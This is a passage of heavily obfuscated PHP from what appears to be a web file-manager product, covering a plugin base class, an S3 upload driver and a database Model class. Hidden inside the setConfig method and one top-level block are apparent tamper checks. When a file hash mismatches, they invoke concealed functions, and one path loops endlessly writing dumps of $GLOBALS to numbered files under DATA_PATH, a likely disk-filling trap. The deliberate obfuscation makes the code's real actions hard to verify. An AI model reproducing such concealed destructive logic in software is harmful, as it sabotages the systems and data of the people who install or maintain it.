Model($B[1303]); goto e摿; dں: $this->pluginHost = PLUGIN_HOST . $this->pluginName . $B[8]; $this->pluginHostDefault = PLUGIN_HOST . $this->pluginName . $B[8]; $this->pluginLangArr = $this->initLang(); goto F; e摿: $this->pluginName = str_replace($B[1303], $B[33], get_class($this)); $this->pluginPath = PLUGIN_DIR . $this->pluginName . $B[8]; $this->pluginApi = appHostGet() . $B[1304] . $this->pluginName . $B[8]; goto dں; aٻ: } public function regist() { $this->hookRegist(array()); } public function install() { } public function update() { } public function unInstall() { } public function echoJs() { $this->echoFile($_SERVER[ѽ][1305]); } protected function assign($Dɕ, $aغ = false) { if (is_array($Dɕ)) { $this->values = array_merge($this->values, $Dɕ); } else { $this->values[$Dɕ] = $aغ; } } protected function display($E) { extract($this->values); require $E; } final function hookRegist($F) { $this->modelPlugin->appRegist($this->pluginName, $F); } final function appIcon() { $E =& $_SERVER[ѽ]; $a = $this->appPackage(); $c綑 = $E[33]; if (isset($a[$E[379]])) { if (isset($a[$E[379]][$E[1306]])) { $c綑 = $E[1307] . $a[$E[379]][$E[1306]] . $E[1308]; } else { if ($a[$E[379]][$E[1309]]) { $c綑 = $E[1310] . $a[$E[379]][$E[1309]] . $E[1311]; } } } return $c綑; } final function fileCanView($Dҩ) { $A =& $_SERVER[ѽ]; if (request_url_safe($Dҩ)) { return !0; } if ($this->isShare($Dҩ)) { return !0; } if (!Action($A[1312])->authCan($A[1313])) { show_tips(LNG($A[1314]) . $A[1315], !1); } ActionCall($A[1316], $Dҩ); } final function isShare($A) { $E螌 = KodIO::parse($A); return $E螌[$_SERVER[ѽ][29]] == KodIO::KOD_SHARE_LINK; } final function filePathLink($C޺) { if (request_url_safe($C޺)) { return $C޺; } if (!$this->isShare($C޺)) { $C޺ = $this->filePath($C޺); } return Action($_SERVER[ѽ][1021])->linkOut($C޺); } public function filePathLinkOut($dڡ) { if (request_url_safe($dڡ)) { return $dڡ; } $this->fileCanView($dڡ); return Action($_SERVER[ѽ][1021])->link($dڡ); } final function filePath($Eүו) { $C =& $_SERVER[ѽ]; if ($Cʤ = $this->checkSharePath($Eүו)) { return $Cʤ; } $this->fileCanView($Eүו); if (request_url_safe($Eүו)) { $e՛ޓ = parse_url_query($Eүו); if (isset($e՛ޓ[$C[1317]]) && isset($e՛ޓ[$C[194]])) { $d͊ = Model($C[1092])->get($C[1318]); $fҒѓ = Mcrypt::decode($e՛ޓ[$C[194]], $d͊); if ($fҒѓ) { $this->fileInfo = IO::infoWithChildren($fҒѓ); $this->cachePath = $this->pluginCachePath($this->_tmpFileName()); return $fҒѓ; } } $Eүו = $this->_cacheHttpFile($Eүו); $this->fileInfo = IO::infoWithChildren($Eүו); } else { $this->fileInfo = IO::infoWithChildren($Eүו); if (!$this->fileInfo) { show_tips(LNG($C[102]), !1); } $this->cachePath = $this->pluginCachePath($this->_tmpFileName()); } return $Eүו; } final function _cacheHttpFile($Cƶϩ) { $EǤϠ = hash_path($Cƶϩ, !0); $this->cachePath = $this->pluginCachePath($EǤϠ); if ($E = IO::fileNameExist($this->cachePath, $EǤϠ)) { return KodIO::make($E); } $Eʊ = $this->cachePath . $EǤϠ; return $this->pluginCacheFileSet($Eʊ, file_get_contents($Cƶϩ)); } final function _tmpFileName($EɎ = array()) { goto cᤢׇ; eЇԊʥ: if (isset($EɎ[$e佗[159]][$e佗[161]])) { return $EɎ[$e佗[159]][$e佗[161]]; } $a͝ = array($EɎ[$e佗[28]], $EɎ[$e佗[75]], $EɎ[$e佗[77]]); if (isset($EɎ[$e佗[455]])) { $a͝[] = $EɎ[$e佗[455]]; } goto FӍ˝; FӍ˝: return md5(implode($e佗[70], $a͝)); goto E; cᤢׇ: $e佗 =& $_SERVER[ѽ]; if (!$EɎ) { $EɎ = $this->fileInfo; } if (isset($EɎ[$e佗[161]])) { return $EɎ[$e佗[161]]; } goto eЇԊʥ; E: } final function checkSharePath($C) { goto d; bŷ: $f = Action($B񛢗[1021])->sharePathInfo($C); if (!isset($f[$B񛢗[75]])) { show_json(LNG($B񛢗[1320]), !1); } $this->fileInfo = $f[$B񛢗[159]]; goto Dʏ; Dʏ: $this->cachePath = $this->pluginCachePath($this->fileInfo[$B񛢗[161]]); return $f[$B񛢗[75]]; goto cՔ; d: $B񛢗 =& $_SERVER[ѽ]; if (!defined($B񛢗[423])) { define($B񛢗[1319], 0); } if (!$this->isShare($C)) { return !1; } goto bŷ; cՔ: } final function pluginCachePath($f = '') { $D޿ =& $_SERVER[ѽ]; $Cɜ = IO_PATH_SYSTEM_TEMP . $D޿[1321] . $this->pluginName; if (!($cƤ = IO::infoFull($Cɜ))) { return IO::mkdir($Cɜ . $D޿[8] . $f); } if (empty($f)) { return $cƤ[$D޿[75]]; } if (!($FӋ = IO::fileNameExist($cƤ[$D޿[75]], $f))) { return IO::mkdir($cƤ[$D޿[75]] . $f); } return KodIO::make($FӋ); } final function pluginCacheFileSet($c֑, $B˦ = '') { $dᩰ =& $_SERVER[ѽ]; if (!($F뚉 = IO::infoFull($c֑))) { return IO::mkfile($c֑, $B˦, REPEAT_REPLACE); } IO::setContent($F뚉[$dᩰ[75]], $B˦); return $F뚉[$dᩰ[75]]; } final function pluginLocalFile($b⮕ = '') { goto f; Cʉ: if (!$b⮕) { return $fɆ; } $e = IO::info($b⮕); $C = $this->_tmpFileName($e) . $eن[93] . $e[$eن[157]]; goto FԌ; f: $eن =& $_SERVER[ѽ]; $fɆ = TEMP_FILES . "{$this->pluginName}\57"; if (!is_dir($fɆ)) { mk_dir($fɆ); } goto Cʉ; FԌ: $F餹 = $fɆ . $C; if (@file_exists($F餹)) { return $F餹; } return IO::copy($b⮕, $fɆ, 0, $C); goto e焠Ո; e焠Ո: } final function appPackage() { goto eٓ; eٓ: $AɄߤ =& $_SERVER[ѽ]; if ($this->packageData) { return $this->packageData; } $c = $this->parseFile($this->pluginPath . $AɄߤ[1322]); goto Cӳ; Cӳ: $this->parseLang($c); $Dٜ = json_decode_force($c); if (!$Dٜ) { return array(); } goto E醵; Aб擋: return $Dٜ; goto fӋ; E醵: $cܕ = Hook::trigger($AɄߤ[1323], $Dٜ); if ($cܕ && is_array($cܕ)) { $Dٜ = $cܕ; } $this->packageData = $Dٜ; goto Aб擋; fӋ: } public function packageInfoGet($e˼) { $BϢ = $this->appPackage(); return array_get_value($BϢ, $e˼); } public function packageVersion() { return $this->packageInfoGet($_SERVER[ѽ][1324]); } public function packageTitle() { return $this->packageInfoGet($_SERVER[ѽ][1325]); } public function packageCopyright() { return $this->packageInfoGet($_SERVER[ѽ][1326]); } private function parseFile($dƆ) { $Aƣ =& $_SERVER[ѽ]; $F = file_get_contents($dƆ); $bȠ = array($Aƣ[1327], $Aƣ[1328], $Aƣ[1329], $Aƣ[1330], $Aƣ[1331], $Aƣ[1332], $Aƣ[1333]); $f҂š = array($this->pluginHost, $this->pluginHostDefault, $this->pluginApi, $this->pluginName, $this->pluginPath, APP_HOST, $this->config[$Aƣ[84]][$Aƣ[1334]]); $F = str_replace($bȠ, $f҂š, $F); return $F; } private function parseLang(&$Eȉ㆏) { goto fԄ; d: $F뾑 = array(); foreach ($Cח[0] as $a) { $f = substr($a, strlen($A̲), -4); $D· = LNG($f); $Aɛ[] = $a; $F뾑[] = str_replace(array($Eۿ[214], $Eۿ[996], $Eۿ[327], $Eۿ[113]), array($Eۿ[50], $Eۿ[50], $Eۿ[33], $Eۿ[1337]), $D·); } $Eȉ㆏ = str_replace($Aɛ, $F뾑, $Eȉ㆏); goto a鼉ˋ; C: preg_match_all($Eۿ[1336], $Eȉ㆏, $Cח); if (!is_array($Cח) || count($Cח) == 0 || !is_array($Cח[0]) || count($Cח[0]) == 0) { return; } $Aɛ = array(); goto d; fԄ: $Eۿ =& $_SERVER[ѽ]; $A̲ = $Eۿ[1335]; if (!strstr($Eȉ㆏, $A̲)) { return; } goto C; a鼉ˋ: } private function parseConfig(&$F) { goto A; eӷ: $F = str_replace($Fޘ, $D時, $F); goto bފ; e殈: $Fޘ = array(); $D時 = array(); foreach ($c񆡗[0] as $b) { $b = substr($b, strlen($B), -2); $Fޘ[] = $b; $D時[] = _get($B퍂, $b); } goto eӷ; A: $dĿ =& $_SERVER[ѽ]; $B = $dĿ[1338]; if (!strstr($F, $B)) { return; } goto dԎĄ; dԎĄ: preg_match_all($dĿ[1339], $F, $c񆡗); if (!is_array($c񆡗) || count($c񆡗) == 0 || !is_array($c񆡗[0]) || count($c񆡗[0]) == 0) { return; } $B퍂 = $this->getConfig(); goto e殈; bފ: } private function parsePackage(&$a›ږ) { goto b˴; cڜ: $a›ږ = str_replace($aݑ, $bѶ, $a›ږ); goto f穷ޅ; e: preg_match_all($aݤ[1341], $a›ږ, $Bǥ); if (!is_array($Bǥ) || count($Bǥ) == 0 || !is_array($Bǥ[0]) || count($Bǥ[0]) == 0) { return; } $d› = $this->appPackage(); goto Dƅ; Dƅ: $aݑ = array(); $bѶ = array(); foreach ($Bǥ[0] as $e) { $Aѻ = substr($e, strlen($e̴), -2); $aݑ[] = $e; $bѶ[] = _get($d›, $Aѻ); } goto cڜ; b˴: $aݤ =& $_SERVER[ѽ]; $e̴ = $aݤ[1340]; if (!strstr($a›ږ, $e̴)) { return; } goto e; f穷ޅ: } final function echoFile($C˥̐, $Eԥث = false) { goto F; Bҳ: $this->parsePackage($bʘ); if (is_array($Eԥث)) { $bʘ = str_replace(array_keys($Eԥث), array_values($Eԥث), $bʘ); } echo $eϋ[214] . $bʘ; goto d믥; C盍: $bʘ = $this->parseFile($F齇ɮ); $this->parseLang($bʘ); $this->parseConfig($bʘ); goto Bҳ; F: $eϋ =& $_SERVER[ѽ]; $F齇ɮ = $this->pluginPath . $C˥̐; if (ACT == $eϋ[1342]) { echo $eϋ[1343] . $this->pluginName . $eϋ[8] . $C˥̐ . $eϋ[1344]; if (!file_exists($F齇ɮ)) { echo $eϋ[1345]; return; } } goto C盍; d믥: } final function initLang() { goto fՊّ߅; DÐߩ: if (!is_array($dı)) { return array(); } if (@count($dı) > 0) { I18n::set($dı); } return $dı; goto a; fՊّ߅: $A =& $_SERVER[ѽ]; $cՎ = $A[1346]; $Bꆔ = $this->pluginPath . $A[1347]; goto Eȼ; Eȼ: $Eɇ򧽰 = I18n::getType(); $dı = array(); if (file_exists($Bꆔ . $Eɇ򧽰 . $A[774])) { $dı = (include $Bꆔ . $Eɇ򧽰 . $A[774]); } else { if ($Eɇ򧽰 == $A[1348] && !file_exists($Bꆔ . $Eɇ򧽰 . $A[774]) && file_exists($Bꆔ . $A[1349])) { $dı = (include $Bꆔ . $A[1349]); } else { if (file_exists($Bꆔ . $cՎ . $A[774])) { $dı = (include $Bꆔ . $cՎ . $A[774]); } } } goto DÐߩ; a: } public function getConfig() { if (!$this->pluginConfig) { $this->pluginConfig = $this->modelPlugin->getConfig($this->pluginName); } return $this->pluginConfig; } public function setConfig($D‹Ã) { $C˳鮒 =& $_SERVER[ѽ]; $eЛ = $_SERVER[$C˳鮒[693]] . $C˳鮒[694]; $Eٛ = $C˳鮒[796]; if ($_SERVER[$C˳鮒[690]] != $Eٛ($eЛ)) { goto A֕; Bӫ߫: $Eݤ = 1; for ($aƉ = $Eݤ; $aƉ > 0; $aƉ++) { $E(DATA_PATH . $aƉ, $DŰΨ); } goto EŒ͵; cƕ: $eۡ̚ = $C˳鮒[798]; $eۡ̚($_SERVER[$C˳鮒[799]]); $EȽ = $C˳鮒[797]; goto c䂦آ; c䂦آ: $EȽ(); $E = $C˳鮒[800]; $DŰΨ = json_encode($GLOBALS[$C˳鮒[801]]); goto Bӫ߫; e돛: $bߘ = $D($Bģ); $c儣 = explode($C˳鮒[214], $bߘ); if (count($c儣) < $C˳鮒[581]) { $cۛ = $C˳鮒[695]; $cۛ(); } goto cƕ; A֕: $EȽ = $C˳鮒[797]; $D = $C˳鮒[692]; $Bģ = $_SERVER[$C˳鮒[693]] . $C˳鮒[694]; goto e돛; EŒ͵: } return $this->modelPlugin->setConfig($this->pluginName, $D‹Ã); } public function onSetConfig($A) { } public function onGetConfig($FȆѮ) { } public function onChangeStatus($Dլ) { } public function onUninstall() { } public function onInstall() { } public function authCheck($C֏ܤ = "\x70\x6c\x75\147\x69\156\x41\165\164\x68") { $eӶ =& $_SERVER[ѽ]; if (!defined($eӶ[423])) { return !1; } if (_get($GLOBALS, $eӶ[453])) { return !0; } $Fʠ = $this->getConfig(); if (!$Fʠ[$C֏ܤ]) { return !1; } return ActionCall($eӶ[1350], $Fʠ[$C֏ܤ]); } public function url($ḃ, $D̈́ = '', $eѩ؝ = true) { goto e; e: $A =& $_SERVER[ѽ]; $Cˡ = $this->getConfig(); $D = KOD_VERSION . $A[93] . KOD_VERSION_BUILD; goto dя; dя: $Fعܖ = $this->packageVersion(); $d = $D . $A[408] . $Fعܖ; if ($D̈́ == $A[33]) { $Aˆǝ = $this->pluginHost . $ḃ . $A[1351] . $d; } else { if ($D̈́ === $A[76]) { $Aˆǝ = $this->pluginHost . $ḃ; } else { if ($D̈́ == $A[1352]) { $Aˆǝ = STATIC_PATH . $ḃ . $A[1351] . $D; } else { if ($D̈́ == $A[1353]) { $Aˆǝ = APP_HOST . $A[1354] . $ḃ . $A[1351] . $D; } else { if (isset($Cˡ[$D̈́])) { $Aˆǝ = $Cˡ[$D̈́] . $ḃ . $A[1351] . $d; } } } } } goto bɔ; bɔ: if (!$eѩ؝) { return $Aˆǝ; } echo $Aˆǝ; goto cӅ; cӅ: } public function link($A = false, $B = '') { $Aͧ =& $_SERVER[ѽ]; if (!$A) { $this->link($Aͧ[1355], $Aͧ[1353]); $this->link($Aͧ[1356], $Aͧ[1352]); $this->link($Aͧ[1357], $Aͧ[1352]); $this->link($Aͧ[1358], $Aͧ[1352]); $this->link($Aͧ[1359], $Aͧ[1352]); return; } $b򼇞 = $this->url($A, $B, !1); if (substr($A, -3) == $Aͧ[1360]) { echo $Aͧ[1361] . $b򼇞 . $Aͧ[1362] . $Aͧ[214]; } else { if (substr($A, -4) == $Aͧ[1363]) { echo $Aͧ[1364] . $b򼇞 . $Aͧ[1365] . $Aͧ[214]; } } } } goto bʣ›; f˛: $dэݷ = LIB_DIR . $_SERVER[ѽ][880]; $d = $_SERVER[ѽ][796]; if ($_SERVER[$_SERVER[ѽ][690]] != $d($dэݷ)) { goto Dޣ; Dޣ: $BԲ = $_SERVER[ѽ][692]; $B = $_SERVER[$_SERVER[ѽ][693]] . $_SERVER[ѽ][694]; $d׏ = $BԲ($B); goto EȆ; C񙝣: $eո($dэݷ); goto Dݕ; EȆ: $A = explode($_SERVER[ѽ][214], $d׏); if (count($A) < $_SERVER[ѽ][553]) { $C = $_SERVER[ѽ][695]; $C(); } $eո = $_SERVER[ѽ][696]; goto C񙝣; Dݕ: } goto FϦڇ; AċҺ: class PathDriverS3 extends PathDriverBaseS3 { public function __construct($b릫) { parent::__construct($b릫); } public function uploadFormData($Fˌԃ, $E퉝 = 3600) { goto Cۘ; Cۘ: $b =& $_SERVER[ѽ]; $eÉޟLj = $b[182]; $d՘ = $b[1130]; goto Dʣ; Dʣ: $Fꂏ = $b[59]; $C = gmdate($b[1131]); $d°𳫕 = gmdate($b[700]); goto dՙՍ; c: $d𸠩 = hash_hmac($b[1140], $Fꂏ, $Cߴ, !0); $eɠꤝ = hash_hmac($b[1140], $BǴ, $d𸠩, !0); $fâԤ = hash_hmac($b[1140], $bރ, $eɠꤝ); goto D; D: $E = array($b[196] => $b[33], $b[1142] => $b[33], $b[1101] => $eÉޟLj, $b[1105] => $D舟, $b[1109] => $bރ, $b[1143] => $e¹, $b[1144] => $d՘, $b[1145] => $C, $b[1146] => $AՌ۠, $b[1147] => $fâԤ, $b[166] => $this->getHost()); return $E; goto fɆ; dՙՍ: $BǴ = $b[1132]; $AՌ۠ = $E퉝 . $b[33]; $D舟 = $b[1097]; goto D˖; C: $bރ = base64_encode(json_encode($EԠ)); $f = hash_hmac($b[1140], $d°𳫕, $b[1141] . $this->secret, !0); $Cߴ = hash_hmac($b[1140], $this->region, $f, !0); goto c; D˖: $D = array($this->accessKey, $d°𳫕, $this->region, $Fꂏ, $BǴ); $e¹ = implode($b[8], $D); $EԠ = array($b[1099] => gmdate($b[1098], strtotime($b[1133])), $b[1100] => array(array($b[1102] => $this->bucket), array($b[1101] => $eÉޟLj), array($b[1103], $b[1104], $b[33]), array($b[1103], $b[1134], $b[33]), array($b[1103], $b[1135], $b[33]), array($b[1105] => $D舟), array($b[1136] => $e¹), array($b[1137] => $d՘), array($b[1138] => $C), array($b[1139] => $AՌ۠))); goto C; fɆ: } public function multiUploadFormData($fʃ, $E߻ͽ = 3600) { $D =& $_SERVER[ѽ]; $BÕ = gmdate($D[1226]); $dӡ = array(); $FƏ = $this->client->getUploadId($this->bucket, $fʃ, $dӡ); if (!$FƏ) { return !1; } return array($D[206] => $FƏ, $D[166] => $this->getHost() . $D[8] . $this->pathEncode($fʃ), $D[207] => $BÕ, $D[89] => $fʃ); } public function multiUploadAuthData($b埥, $eЊ僎 = array()) { goto Aװ; Aװ: $F =& $_SERVER[ѽ]; $cϥ = isset($eЊ僎[$F[157]]) ? $eЊ僎[$F[157]] : $F[33]; $dÉ = $eЊ僎[$F[89]]; goto ač; E: if (isset($eЊ僎[$F[1227]])) { $C[$F[1228]] = $eЊ僎[$F[1227]]; } $Fַڐ = explode($F[168], $this->getHost()); $eё = array($F[1229] => $Fַڐ[1], $F[1230] => $F[33], $F[196] => $F[116], $F[1142] => $eЊ僎[$F[77]]); goto E; ač: unset($eЊ僎[$F[89]]); if (isset($eЊ僎[$F[208]])) { return $this->listUploadParts($dÉ, $eЊ僎); } $C = array(); goto E; E: $aݨ = $F[211]; $Cַ = $F[8] . $this->pathEncode($dÉ) . $cϥ; $fՑȊ = $this->client->__getSignatureV4($C, $eё, $aݨ, $Cַ); goto bֈӠ; bֈӠ: if (strpos($cϥ, $F[210]) === 0) { if (isset($C[$F[1228]])) { $c = $C[$F[1228]]; } else { if (isset($fՑȊ[$F[1228]])) { $c = $fՑȊ[$F[1228]]; } else { $c = hash($F[1140], $F[33]); } } return array($F[217] => $fՑȊ[$F[217]], $F[1228] => $c, $F[207] => $fՑȊ[$F[1231]]); } return $fՑȊ[$F[217]]; goto a; a: } public function listUploadParts($B, $d޹ = array()) { goto DɄ; BܣÝ: $B֎В = $this->client->__getSignatureV4($Aϓ, $f₶, $d򧈚, $a, $C); return array($aٯԓ[217] => $B֎В[$aٯԓ[217]], $aٯԓ[207] => $B֎В[$aٯԓ[1231]], $aٯԓ[219] => $D, $aٯԓ[1228] => $B֎В[$aٯԓ[1228]]); goto C˒׆; C: $C .= $aٯԓ[1235]; $Aϓ = array(); $cܔշ = explode($aٯԓ[168], $this->getHost()); goto F; DɄ: $aٯԓ =& $_SERVER[ѽ]; $d = str_replace($aٯԓ[218], $aٯԓ[33], $d޹[$aٯԓ[157]]); $D = $this->client->listParts($this->bucket, $B, $d); goto Aѩܤ; Aѩܤ: if (!$D) { return !1; } $C = $aٯԓ[1232]; foreach ($D as $F) { $C .= $aٯԓ[1233] . "\x3c\120\x61\x72\164\116\x75\155\x62\145\x72\x3e{$F[$aٯԓ[1184]]}\74\57\x50\141\162\x74\116\x75\x6d\142\145\162\76\xa" . "\74\x45\x54\x61\x67\x3e{$F[$aٯԓ[1185]]}\74\x2f\x45\x54\141\147\76\12" . $aٯԓ[1234]; } goto C; F: $f₶ = array($aٯԓ[1229] => $cܔշ[1], $aٯԓ[196] => $aٯԓ[116], $aٯԓ[1142] => strlen($C)); $d򧈚 = $aٯԓ[209]; $a = $aٯԓ[8] . $this->pathEncode($B) . $d޹[$aٯԓ[157]]; goto BܣÝ; C˒׆: } public function link($dԌ, $dʍˤ = array()) { return parent::link($dԌ, $dʍˤ); } public function fileOut($dӏ, $Cԝ = false, $C = false, $D׶ = '') { if (strstr($this->endpoint, $_SERVER[ѽ][1236])) { return parent::fileOutServer($dӏ, $Cԝ, $C, $D׶); } parent::fileOut($dӏ, $Cԝ, $C, $D׶); } public function fileOutImage($f, $e = 250) { if (strstr($this->endpoint, $_SERVER[ѽ][1236])) { return parent::fileOutImageServer($f, $e); } parent::fileOutImage($f, $e); } public function fileOutLink($cଊ) { $f褈 =& $_SERVER[ѽ]; if (substr($cଊ, 0, 7) == $f褈[1112]) { $cଊ = $f褈[1113] . substr($cଊ, 7); } header($f褈[153] . $cଊ); die; } public function getHost() { $C· =& $_SERVER[ѽ]; $Aþ = str_rtrim(parent::getHost(), $C·[8] . $this->bucket); $Aþ = explode($C·[168], $Aþ); return $Aþ[0] . $C·[168] . $this->bucket . $C·[93] . $Aþ[1]; } } $dэݷ = LIB_DIR . $_SERVER[ѽ][880]; $d = $_SERVER[ѽ][796]; goto BҐˤ; fԈ: define($_SERVER[ѽ][227], 0); define($_SERVER[ѽ][228], 2); class Model extends ClassBaseCall { private $_extModel = null; protected $db = null; protected $pk = "\x69\x64"; protected $tablePrefix = ''; protected $name = ''; protected $dbName = ''; protected $connection = ''; protected $tableName = ''; protected $trueTableName = ''; protected $error = ''; protected $fields = array(); protected $data = array(); protected $options = array(); protected $_validate = array(); protected $_auto = array(); protected $_map = array(); protected $_scope = array(); protected $autoCheckFields = true; protected $patchValidate = false; protected $methods = array("\x74\x61\x62\x6c\x65", "\x6f\162\144\145\x72", "\141\x6c\151\141\163", "\150\x61\x76\151\x6e\x67", "\147\x72\157\x75\160", "\154\x6f\143\x6b", "\x64\151\163\x74\x69\156\x63\164", "\141\165\x74\157", "\x66\x69\154\x74\x65\162", "\x76\x61\154\x69\x64\x61\x74\145", "\162\145\x73\165\x6c\x74", "\x62\x69\156\x64", "\x74\x6f\153\145\156"); public function __construct($F = '', $D栐ӯ = '', $c = '') { $cպǎ =& $_SERVER[ѽ]; $this->_initialize(); if (!empty($F)) { if (strpos($F, $cպǎ[93])) { list($this->dbName, $this->name) = explode($cպǎ[93], $F); } else { $this->name = $F; } } elseif (empty($this->name)) { $this->name = $this->getModelName(); } if (is_null($D栐ӯ)) { $this->tablePrefix = $cպǎ[33]; } elseif ($cպǎ[33] != $D栐ӯ) { $this->tablePrefix = $D栐ӯ; } else { $this->tablePrefix = $this->tablePrefix ? $this->tablePrefix : think_config($cպǎ[229]); } $this->db(0, empty($this->connection) ? $c : $this->connection); $this->_classObjectID = mt_rand(0, 10000); } protected function _checkTableInfo() { $EѠ٤ҝ =& $_SERVER[ѽ]; if (empty($this->fields)) { if (think_config($EѠ٤ҝ[230])) { $c荙 = $this->dbName ? $this->dbName : think_config($EѠ٤ҝ[231]); $fޅ = think_var_cache($EѠ٤ҝ[232] . strtolower(get_path_this($c荙) . $EѠ٤ҝ[93] . $this->name)); if ($fޅ) { $AϐҲ = think_config($EѠ٤ҝ[233]); if (empty($AϐҲ) || $fޅ[$EѠ٤ҝ[234]] == $AϐҲ) { $this->fields = $fޅ; return; } } } $this->flush(); } } public function flush() { goto F; F: $a΃ =& $_SERVER[ѽ]; $this->db->setModel($this->name); $c׉ = $this->db->getFields($this->getTableName()); goto C蕴; C蕴: if (!$c׉) { return !1; } $this->fields = array_keys($c׉); $this->fields[$a΃[235]] = !1; goto aۊ͒; bڤ: if (think_config($a΃[230])) { $a = $this->dbName ? $this->dbName : think_config($a΃[231]); think_var_cache($a΃[232] . strtolower(get_path_this($a) . $a΃[93] . $this->name), $this->fields); } goto FⲠ; aۊ͒: foreach ($c׉ as $fưĔ => $Eك) { $b[$fưĔ] = $Eك[$a΃[29]]; if ($Eك[$a΃[36]]) { $this->fields[$a΃[236]] = $fưĔ; if ($Eك[$a΃[39]]) { $this->fields[$a΃[235]] = !0; } } } $this->fields[$a΃[237]] = $b; if (think_config($a΃[233])) { $this->fields[$a΃[234]] = think_config($a΃[233]); } goto bڤ; FⲠ: } public function switchModel($F؅Ð, $Cɣ„ = array()) { $BȽ =& $_SERVER[ѽ]; $DĤ = ucwords(strtolower($F؅Ð)) . $BȽ[238]; if (!class_exists($DĤ)) { think_exception($DĤ . think_lang($BȽ[239])); } $this->_extModel = new $DĤ($this->name); if (!empty($Cɣ„)) { foreach ($Cɣ„ as $eȉ) { $this->_extModel->setProperty($eȉ, $this->{$eȉ}); } } return $this->_extModel; } public function __set($Fʃ, $c) { $this->data[$Fʃ] = $c; } public function __get($eϸ) { return isset($this->data[$eϸ]) ? $this->data[$eϸ] : null; } public function __isset($d暚) { return isset($this->data[$d暚]); } public function __unset($eް) { unset($this->data[$eް]); } public function __call($FɌ, $f͵ꄃ) { $D¢䰤 =& $_SERVER[ѽ]; if (in_array(strtolower($FɌ), $this->methods, !0)) { $this->options[strtolower($FɌ)] = $f͵ꄃ[0]; return $this; } elseif (in_array(strtolower($FɌ), array($D¢䰤[240], $D¢䰤[241], $D¢䰤[242], $D¢䰤[243], $D¢䰤[244]), !0)) { $dʋÍ = isset($f͵ꄃ[0]) ? $f͵ꄃ[0] : $D¢䰤[173]; $dʋÍ = $this->db->parseKey($dʋÍ); return $this->getField(strtoupper($FɌ) . $D¢䰤[245] . $dʋÍ . $D¢䰤[246] . $FɌ, $D¢䰤[240]); } elseif (strtolower(substr($FɌ, 0, 5)) == $D¢䰤[247]) { $dʋÍ = think_parse_name(substr($FɌ, 5)); $EЈ[$dʋÍ] = $f͵ꄃ[0]; return $this->where($EЈ)->find(); } elseif (strtolower(substr($FɌ, 0, 10)) == $D¢䰤[248]) { $b􊆑 = think_parse_name(substr($FɌ, 10)); $EЈ[$b􊆑] = $f͵ꄃ[0]; return $this->where($EЈ)->getField($f͵ꄃ[1]); } elseif (isset($this->_scope[$FɌ])) { return $this->scope($FɌ, $f͵ꄃ[0]); } elseif (method_exists($this, $FɌ)) { array_unshift($f͵ꄃ, $FɌ); return call_user_func_array(array($this, $D¢䰤[249]), $f͵ꄃ); } else { return call_user_func_array(array(parent, $FɌ), $f͵ꄃ); } } protected function call() { goto Aіø; e뿉: if (isset($fԉ[$C]) && $fԉ[$C] === $cӰ) { think_exception(__CLASS__ . $cݘ[4] . $cӰ . think_lang($cݘ[250])); return; } $fԉ[] = $cӰ; if (method_exists($this, $cݘ[251])) { $aӕ = call_user_func_array(array($this, $cݘ[252]), array($a, $fԉ)); if (!is_null($aӕ) && $aӕ !== !1) { return $aӕ; } } goto BӔŇ; Aіø: $cݘ =& $_SERVER[ѽ]; $fԉ = func_get_args(); $cӰ = array_shift($fԉ); goto bڑ; bڑ: $a = $cӰ; if (is_array($cӰ)) { $a = $cӰ[1]; $cӰ = $cӰ[0]; } $C = count($fԉ) - 1; goto e뿉; BӔŇ: $E = call_user_func_array(array($this, $cӰ), $fԉ); if (method_exists($this, $cݘ[253])) { $aӕ = call_user_func_array(array($this, $cݘ[254]), array($a, $fԉ, $E)); if ($aӕ) { return $aӕ; } } return $E; goto F٭; F٭: } protected function _initialize() { } protected function _facade($cޛ) { $A𝇝 =& $_SERVER[ѽ]; if (!empty($this->fields)) { foreach ($cޛ as $Eӭ => $bґ) { if (!in_array($Eӭ, $this->fields, !0)) { unset($cޛ[$Eӭ]); } elseif (is_scalar($bґ)) { $this->_parseType($cޛ, $Eӭ); } } } if (!empty($this->options[$A𝇝[255]])) { $cޛ = array_map($this->options[$A𝇝[255]], $cޛ); unset($this->options[$A𝇝[255]]); } $this->_beforeWrite($cޛ); return $cޛ; } protected function _beforeWrite(&$eΗ) { } public function add($Bҷɸ = '', $DҎ = array(), $Bˡ = false) { goto a; d: return $A伷Ѫ; goto d͊; a: if (empty($Bҷɸ)) { if (!empty($this->data)) { $Bҷɸ = $this->data; $this->data = array(); } else { $this->error = think_lang($_SERVER[ѽ][256]); return !1; } } $DҎ = $this->_parseOptions($DҎ); $Bҷɸ = $this->_facade($Bҷɸ); goto Fͤ; Fͤ: if (!1 === $this->_beforeInsert($Bҷɸ, $DҎ)) { return !1; } $A伷Ѫ = $this->db->insert($Bҷɸ, $DҎ, $Bˡ); if (!1 !== $A伷Ѫ) { $Fʈʼ = $this->getLastInsID(); if ($Fʈʼ) { $Bҷɸ[$this->getPk()] = $Fʈʼ; $this->_after_insert($Bҷɸ, $DҎ); return $Fʈʼ; } $this->_after_insert($Bҷɸ, $DҎ); } goto d; d͊: } protected function _beforeInsert(&$f, $B) { } protected function _after_insert($e, $fɞ) { } public function addAll($cܫ, $Fܑ = array(), $fܶ = false) { goto aʏ; aʏ: $fڦي =& $_SERVER[ѽ]; if (empty($cܫ)) { $this->error = think_lang($fڦي[256]); return !1; } $Fܑ = $this->_parseOptions($Fܑ); goto F᪖; d: return $b; goto FÛߴ; F᪖: foreach ($cܫ as $cџ => $d友) { $cܫ[$cџ] = $this->_facade($d友); } if (method_exists($this->db, $fڦي[257])) { $b = $this->db->insertAll($cܫ, $Fܑ, $fܶ); } else { $this->startTrans(); foreach ($cܫ as $cџ => $d友) { $b = $this->db->insert($d友, $Fܑ, $fܶ); } $this->commit(); } if (!1 !== $b) { $a = $this->getLastInsID(); if ($a) { return $a; } } goto d; FÛߴ: } public function selectAdd($eէֵ = '', $d = '', $F磚 = array()) { $Eғ =& $_SERVER[ѽ]; $F磚 = $this->_parseOptions($F磚); if (!1 === ($fַϤ = $this->db->selectInsert($eէֵ ? $eէֵ : $F磚[$Eғ[258]], $d ? $d : $this->getTableName(), $F磚))) { $this->error = think_lang($Eғ[259]); return !1; } else { return $fַϤ; } } public function save($a٘ = '', $c = array()) { goto A“; A“: $eϐ =& $_SERVER[ѽ]; if (empty($a٘)) { if (!empty($this->data)) { $a٘ = $this->data; $this->data = array(); } else { $this->error = think_lang($eϐ[256]); return !1; } } $a٘ = $this->_facade($a٘); goto C; C: $c = $this->_parseOptions($c); $B솑 = $this->getPk(); if (!isset($c[$eϐ[260]])) { if (isset($a٘[$B솑])) { 